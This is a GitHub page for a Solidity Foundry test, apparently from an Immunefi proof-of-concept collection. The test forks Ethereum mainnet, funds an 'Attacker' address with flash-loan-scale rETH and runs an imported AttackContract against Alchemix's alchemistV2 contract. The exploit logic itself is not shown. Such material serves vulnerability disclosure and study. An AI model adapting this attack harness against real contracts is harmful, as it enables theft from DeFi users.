-
Notifications
You must be signed in to change notification settings - Fork 16
/
PoCTest.sol
40 lines (30 loc) · 1.25 KB
/
PoCTest.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@immunefi/PoC.sol";
import "../../src/Alchemix/AttackContract.sol";
contract PoCTest is PoC {
AttackContract public attackContract;
IERC20[] tokens;
IERC20 rETH = IERC20(0xae78736Cd615f374D3085123A210448E74Fc6393);
IERC20 alETH = IERC20(0x0100546F2cD4C9D97f798fFC9755E47865FF7Ee6);
address constant signer = 0x47ac0Fb4F2D84898e4D9E7b4DaB3C24507a6D503;
address constant alchemistV2 = 0x062Bf725dC4cDF947aa79Ca2aaCCD4F385b13b5c;
function setUp() public {
// Fork from specified block chain at block
vm.createSelectFork("https://rpc.ankr.com/eth", 18229973);
// Deploy attack contract
attackContract = new AttackContract();
// Fund attacker contract
uint flashLoanedFunds = 16500 ether;
uint256 capitalRequirements = 3460202873481672000000;
deal(rETH, signer, flashLoanedFunds + capitalRequirements);
// Tokens to track during snapshotting
tokens.push(rETH);
tokens.push(alETH);
setAlias(signer, "Attacker");
console.log("\n>>> Initial conditions");
}
function testAttack() public snapshot(signer, tokens) {
attackContract.initializeAttack();
}
}